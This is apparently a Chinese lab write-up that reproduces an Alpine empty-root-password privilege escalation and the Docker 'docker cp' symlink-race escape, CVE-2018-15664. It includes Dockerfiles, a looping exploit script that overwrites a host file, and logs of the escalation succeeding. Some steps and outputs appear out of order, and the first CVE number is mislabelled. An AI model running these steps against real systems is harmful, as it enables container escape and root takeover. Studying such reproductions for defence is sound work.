一、漏洞信息
漏洞名称:
CVE-2018-15664漏洞概述:
在3.3~3.9版本的Alpine镜像中,root用户密码被设置为空,攻击者可能在攻入容器后借此提升到容器内部root权限,CVSS 3.0评分高达9.8二、漏洞利用
漏洞利用实践:
1、拉取一个3.3版本的Alpine镜像,构建容器并检查一下密码信息文件”/etc/shadow”,如下所示,root密码记录为空
2、构建镜像,添加用户non_root
#官方镜像Pull失败
root@Ubuntu-master:~/HSCS# docker pull alpine:3.3
Error response from daemon: Get https://registry-1.docker.io/v2/library/alpine/manifests/3.3: net/http: TLS handshake timeout
#更换镜像仓库
root@Ubuntu-master:~/HSCS# docker pull gliderlabs/alpine:3.3
3.3: Pulling from gliderlabs/alpine
40d2dd735025: Pull complete
Digest: sha256:02543032e5431a50bb4c519c4974359c529d3473f844b26c297b890912f02093
Status: Downloaded newer image for gliderlabs/alpine:3.3
#查看root密码文件,确实为空
root@Ubuntu-master:~/HSCS# docker run -it --rm gliderlabs/alpine:3.3 cat /etc/shadow | grep root
root:::0:::::
#DockerFile文件
root@Ubuntu-node4:~/cloud-native-security-book-main/cloud-native-security-book-main/code/0303-gongyinglian/01-CVE-2019-5021-alpine# cat Dockerfile
FROM alpine:3.5
RUN adduser -S non_root
USER non_root
3、根据新镜像运行一个容器,查看当前用户并尝试切换root用户,发现并不能切换到root用户。原因是官方对此的回应是,Alpine镜像使用busybox作为核心工具链,通过/etc/securetty文件限制了可以登入root用户的tty设备。除非是用户主动安装shadow和linux-pam来代替默认工具链,否则这个漏洞并不好利用
#构建镜像
root@Ubuntu-node4:~/cloud-native-security-book-main/cloud-native-security-book-main/code/0303-gongyinglian/01-CVE-2019-5021-alpine# docker build -f Dockerfile --network=host -t alpine:cve-2019-5021 ./
Sending build context to Docker daemon 3.072kB
Step 1/3 : FROM alpine:3.5
---> f80194ae2e0c
Step 2/3 : RUN adduser -S non_root
---> Running in f1cba61940d8
Removing intermediate container f1cba61940d8
---> 767b11b95c76
Step 3/3 : USER non_root
---> Running in 008b63c44243
Removing intermediate container 008b63c44243
---> f0bd2ea873b6
Successfully built f0bd2ea873b6
Successfully tagged alpine:cve-2019-5021
shell
root@Ubuntu-node4:~/cloud-native-security-book-main/cloud-native-security-book-main/code/0303-gongyinglian/01-CVE-2019-5021-alpine# docker run -it --rm alpine:cve-2019-5021 /bin/sh
/ $ whoami
non_root
/ $ su
su: must be suid to work properly
/ $
4、安装shadow,重新构建镜像
#修改DockerFile文件,安装shadow
root@Ubuntu-node4:~/cloud-native-security-book-main/cloud-native-security-book-main/code/0303-gongyinglian/01-CVE-2019-5021-alpine# cat New_Dockerfile
FROM alpine:3.5
RUN apk add --no-cache shadow
RUN adduser -S non_root
USER non_root
5、根据新创建的镜像newalpine启动容器,并执行root用户切换
#根据新的DockerFile构建镜像
root@Ubuntu-node4:~/cloud-native-security-book-main/cloud-native-security-book-main/code/0303-gongyinglian/01-CVE-2019-5021-alpine# docker build -f New_Dockerfile --network=host -t newalpine:cve-2019-5021 ./
Sending build context to Docker daemon 3.072kB
Step 1/4 : FROM alpine:3.5
---> f80194ae2e0c
Step 2/4 : RUN apk add --no-cache shadow
---> Using cache
---> 4c41341b44b2
Step 3/4 : RUN adduser -S non_root
---> Using cache
---> 98de3d7b04f7
Step 4/4 : USER non_root
---> Using cache
---> f5238c36d00e
Successfully built f5238c36d00e
Successfully tagged newalpine:cve-2019-5021
#容器内成功提权到root用户
root@Ubuntu-node4:~/cloud-native-security-book-main/cloud-native-security-book-main/code/0303-gongyinglian/01-CVE-2019-5021-alpine# docker run -it --rm newalpine:cve-2019-5021 /bin/sh
/ $ whoami
non_root
/ $ su
/ # whoami
root
/ #
三、总结
该漏洞的利用过程十分简单,如果有人使用了旧版本的alpine基础镜像,并且安装了shadow,攻击者若获取到低权限的shell就等于获取到了root权限,利用过程简单,危害严重,威胁评分高也理所当然。一、漏洞信息
漏洞名称:
CVE-2018-15664:符号链接替换漏洞漏洞概述:
在18.06.1-ce-rc2版本之前的Docker中,docker cp命令对应的后端API存在基于竞争条件的符号链接替换漏洞,能够导致目录穿越。攻击者可利用此漏洞以root权限实现宿主机文件系统的任意读写,CVSS 3.x评分为7.5分。漏洞原理:
CVE-2018-15664实际上是一个TOCTOU(time-of-check to time-of-use)问题,属于竞态条件漏洞。简单来说,这个问题指的是在程序对某对象进行安全检查和使用该对象的步骤之间存在间隙,攻击者可以先构造并放置一个能够通过安全检查的合法对象,顺利通过目标程序的安全检查流程,然后立即使用恶意对象替换之前的合法对象。这样一来,目标程序真正使用的实际上是被替换后的恶意对象。 下图为TOCTOU问题的原理,对于CVE-2018-15664来说,当用户执行docker cp命令后,Docker守护进程收到这个请求,就会对用户给出的复制路径进行检查。如果路径中有容器内部的符号链接,则先在容器内部将其解析成路径字符串,留待后用。一眼看上去,该流程似乎正常,但要考虑到容器内部环境是不可控的。如果在Docker守护进程检查复制路径时,攻击者先在这里放置一个非符号链接的常规文件或目录,检查结束后,攻击者赶在Docker守护进程使用这个路径前将其替换为一个符号链接,那么这个符号链接就会于被打开时在宿主机上解析,从而导致目录穿越。二、漏洞复现
复现环境:
1. 开源靶机项目metarget,项目地址如下,根据项目中依赖要求安装即可:2. 安装完metarget后,一键搭建符合本CVE的漏洞环境:
https://github.com/brant-ruan/metarget.git
root@Ubuntu-node4:~/metarget# ./metarget cnv install cve-2018-15664
cve-2018-15664 is going to be installed
uninstalling current docker gadgets if applicable
installing prerequisites
adding apt repository deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable
adding apt repository deb http://archive.ubuntu.com/ubuntu xenial-updates universe
adding apt repository deb http://archive.ubuntu.com/ubuntu bionic-updates universe
installing docker-ce with 18.03.1~ce~3-0~ubuntu version
cve-2018-15664 successfully installed
复现步骤:
1. 随此书的源代码仓库路径如下:2. 根据对应章节的案例,获取所需源代码:
https://github.com/brant-ruan/cloud-native-security-book
4. 目录分析: build目录包含了用来制作恶意镜像的Dockerfile和容器内漏洞利用源代码
root@Ubuntu-node4:~/cloud-native-security-book-main/code/0302-#U5f00#U53d1#U4fa7#U653b#U51fb/02-CVE-2018-15664/symlink_race# pwd
/root/cloud-native-security-book-main/code/0302-#U5f00#U53d1#U4fa7#U653b#U51fb/02-CVE-2018-15664/symlink_race
root@Ubuntu-node4:~/cloud-native-security-book-main/code/0302-#U5f00#U53d1#U4fa7#U653b#U51fb/02-CVE-2018-15664/symlink_race# tree
.
|-- build
| |-- Dockerfile
| `-- symlink_swap.c
|-- run_read.sh
`-- run_write.sh
1 directory, 4 files
root@Ubuntu-node4:~/cloud-native-security-book-main/code/0302-#U5f00#U53d1#U4fa7#U653b#U51fb/02-CVE-2018-15664/symlink_race#
<font style="color:rgba(0, 0, 0, 0.9);">symlink_swap.c</font>
Dockerfile的主要内容是构建漏洞利用程序symlink_swap并将其放在容器根目录下,并在根目录下创建一个<font style="color:rgba(0, 0, 0, 0.9);">w00t_w00t_im_a_flag</font>
文件,内容为<font style="color:rgba(0, 0, 0, 0.9);">“FAILED -- INSIDE CONTAINER PATH”</font>
。容器启动后执行的程序(Entrypoint)即为<font style="color:rgba(0, 0, 0, 0.9);">/symlink_swap</font>
symlink_swap.c的任务是在容器内创建指向根目录“/”的符号链接,并不断地交换符号链接(由命令行参数传入,如“/totally_safe_path”)与一个正常目录(例如“/totally_safe_path-stashed”)的名字。这样一来,在宿主机上执行docker cp时,如果首先检查到“/totally_safe_path”是一个正常目录,但在后面执行复制操作时“/totally_safe_path”却变成了一个符号链接,那么Docker将在宿主机上解析这个符号链接
CVE-2018-15664属于竞态条件漏洞,不是每次都能复现。为了增大漏洞被触发的几率,我们需要在宿主机上不断执行docker cp命令(高频使用dockercp命令在现实中十分不常见,这里主要是为了验证可行性,证明“至少现实中这种漏洞是有机会被利用的”)。run_read.sh和run_write.sh脚本正是用于模拟受害者在宿主机上不断执行docker cp命令。那么,为什么会有两个脚本呢?
事实上,这两个脚本模拟的是不同的场景:·run_read.sh模拟受害者不断使用docker cp将容器内文件复制到宿主机上的场景,一旦漏洞触发,容器内恶意符号链接在宿主机文件系统解析后指向的文件将被复制到受害者设定的宿主机目录下。·run_write.sh模拟受害者不断使用docker cp将宿主机上文件复制到容器内的场景,一旦漏洞触发,受害者指定的宿主机文件将覆盖容器内恶意符号链接在宿主机文件系统解析后指向的文件
5. 脚本分析:
6. 执行脚本后,恶意容器运行,然后不断执行docker cp命令,漏洞未触发时,宿主机上的/w00t_w00t_im_a_flag文件内容为:
#定义两个目录,path
SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag
# 根目录下创建Flag,并写入内容"FAILED -- HOST FILE UNCHANGED"
echo "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 0444 "$SYMSWAP_TARGET"
# 构建恶意镜像并运行容器
docker build -t cyphar/symlink_swap \
--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")
# 本地目录创建文件写入"SUCCESS -- HOST FILE CHANGED"
echo "SUCCESS -- HOST FILE CHANGED" | tee localpath
# 反复执行docker ps命令复现漏洞
while true
do
docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET"
done
7. 如果漏洞成功触发,容器内的符号链接“/totally_safe_path”将在宿主机文件系统上解析,因此docker cp实际上是将/src_file文件复制到了宿主机上的/w00t_w00t_im_a_flag文件位置。也就是说,此时宿主机上/w00t_w00t_im_a_flag文件内容将被改写为:
FAILED -- HOST FILE UNCHANGED
8. 为了帮助理解,漏洞利用过程,手动运行脚本
root@Ubuntu-node4:~# cat /w00t_w00t_im_a_flag
SUCCESS -- HOST FILE CHANGED
root@Ubuntu-node4:~#
9.此时主机flag内容如下
#创建镜像,构建漏洞利用程序symlink_swap并将其放在容器根目录
root@Ubuntu-node4:~/cloud-native-security-book-main/code/0302-#U5f00#U53d1#U4fa7#U653b#U51fb/02-CVE-2018-15664/symlink_race# docker build -t cyphar/symlink_swap --build-arg "/totally_safe_path" --build-arg "/w00t_w00t_im_a_flag" build/ Sending build context to Docker daemon 6.144kB
Step 1/11 : FROM opensuse/leap
---> aaff2067e724
Step 2/11 : RUN zypper in -y gcc glibc-devel-static
---> Using cache
---> a15d6a5af357
Step 3/11 : RUN mkdir /builddir
---> Using cache
---> 0040d2b9ff32
Step 4/11 : COPY symlink_swap.c /builddir/symlink_swap.c
---> Using cache
---> 08160cadac9f
Step 5/11 : RUN gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c
---> Using cache
---> bfd693f2d7a4
Step 6/11 : FROM opensuse/leap
---> aaff2067e724
Step 7/11 : ARG SYMSWAP_TARGET=/w00t_w00t_im_a_flag
---> Using cache
---> 8d19d015a84c
Step 8/11 : ARG SYMSWAP_PATH=/totally_safe_path
---> Using cache
---> d7fa1724b5e4
Step 9/11 : RUN echo "FAILED -- INSIDE CONTAINER PATH" >"$SYMSWAP_TARGET"
---> Using cache
---> aed51efc12e0
Step 10/11 : COPY --from=0 /builddir/symlink_swap /symlink_swap
---> Using cache
---> ef9ac07b1dd8
Step 11/11 : ENTRYPOINT ["/symlink_swap"]
---> Using cache
---> f09ea941a2f1
[Warning] One or more build-args [/totally_safe_path /w00t_w00t_im_a_flag] were not consumed
Successfully built f09ea941a2f1
Successfully tagged cyphar/symlink_swap:latest
#启动容器,并获取容器id
root@Ubuntu-node4:~# docker run --rm -d cyphar/symlink_swap "/totally_safe_path"
13c088d13692a78713e60c9ced490042923e46a415a450b0fd0fe910e66629d4
#查看容器及内部文件,symlink_swap程序不断交换符号链接(totally_safe_path和totally_safe_path-stashed)
root@Ubuntu-node4:~# docker exec -ti 13c088d13692 bash
13c088d13692:/ # ls
bin dev home lib64 opt root sbin srv sys totally_safe_path usr w00t_w00t_im_a_flag
boot etc lib mnt proc run selinux symlink_swap tmp totally_safe_path-stashed var
13c088d13692:/ #
#容器内简单看一下目录结构,重点查看totally_safe_path和totally_safe_path-stashed
# 此时totally_safe_path为正常文件,totally_safe_path-stashed为链接文件
13c088d13692:/ # ls -l
d????????? ? ? ? ? ? totally_safe_path
l????????? ? ? ? ? ? totally_safe_path-stashed
-????????? ? ? ? ? ? w00t_w00t_im_a_flag
10. 不断执行docker cp命令进行文件拷贝,一段时间后查看宿主机根目录flag
root@Ubuntu-node4:~# cat /w00t_w00t_im_a_flag
FAILED -- HOST FILE UNCHANGED
root@Ubuntu-node4:~#
#实验过程中发现这个容器有问题,起来一会主机内存就会爆掉,主机就卡死
root@Ubuntu-node4:~# cat /w00t_w00t_im_a_flag
SUCCESS -- HOST FILE CHANGED
root@Ubuntu-node4:~#
三、总结
本例子使用符号链接指向根目录,搞清楚原理后,理论上可以指向任意目录,一个没有root权限的用户,如果可以执行<font style="color:rgba(0, 0, 0, 0.9);">docker cp</font>
命令,就可以通过此漏洞完成提权操作。